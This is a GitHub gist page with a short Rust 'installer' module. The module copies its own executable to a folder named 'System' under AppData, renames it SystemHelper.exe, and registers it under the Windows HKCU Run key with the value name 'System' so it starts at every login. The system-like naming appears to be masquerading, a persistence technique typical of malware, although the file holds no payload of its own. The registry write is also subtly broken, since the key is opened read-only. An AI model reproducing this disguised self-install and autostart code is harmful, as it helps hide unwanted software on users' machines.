Created
May 21, 2017 15:42
-
-
Save kindlyfire/d2b9b0312ff766f12a0d09b7a0db5821 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{env, fs, io}; | |
use std::path::{PathBuf, Path}; | |
use winreg::RegKey; | |
use winreg::enums::*; | |
const TARGET_FILE_NAME: &'static str = "SystemHelper.exe"; | |
pub fn run() { | |
println!("Installing"); | |
let source = get_executable_path(); | |
let dest = get_target_path(); | |
println!("Moving: {}", source.display()); | |
println!("To: {}", dest.display()); | |
move_file(source.as_path(), dest.as_path()).expect("Could not move file"); | |
autostart_exe(dest.as_path()); | |
} | |
fn get_executable_path() -> PathBuf { | |
env::current_exe().unwrap() | |
} | |
fn get_target_path() -> PathBuf { | |
let mut path = env::home_dir().unwrap(); | |
path.push("AppData"); | |
path.push("Local"); | |
path.push("System"); | |
fs::create_dir_all(path.as_path()).expect("Target installation directory could not be created."); | |
path.push(TARGET_FILE_NAME); | |
path | |
} | |
fn move_file(source: &Path, dest: &Path) -> io::Result<()> { | |
fs::copy(source, dest)?; | |
// fs::remove_file(source)?; | |
Ok(()) | |
} | |
fn autostart_exe(path: &Path) -> io::Result<()> { | |
let hkcu = RegKey::predef(HKEY_CURRENT_USER); | |
let run_key = hkcu.open_subkey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")?; | |
run_key.set_value("System", &path.to_str().unwrap()); | |
Ok(()) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment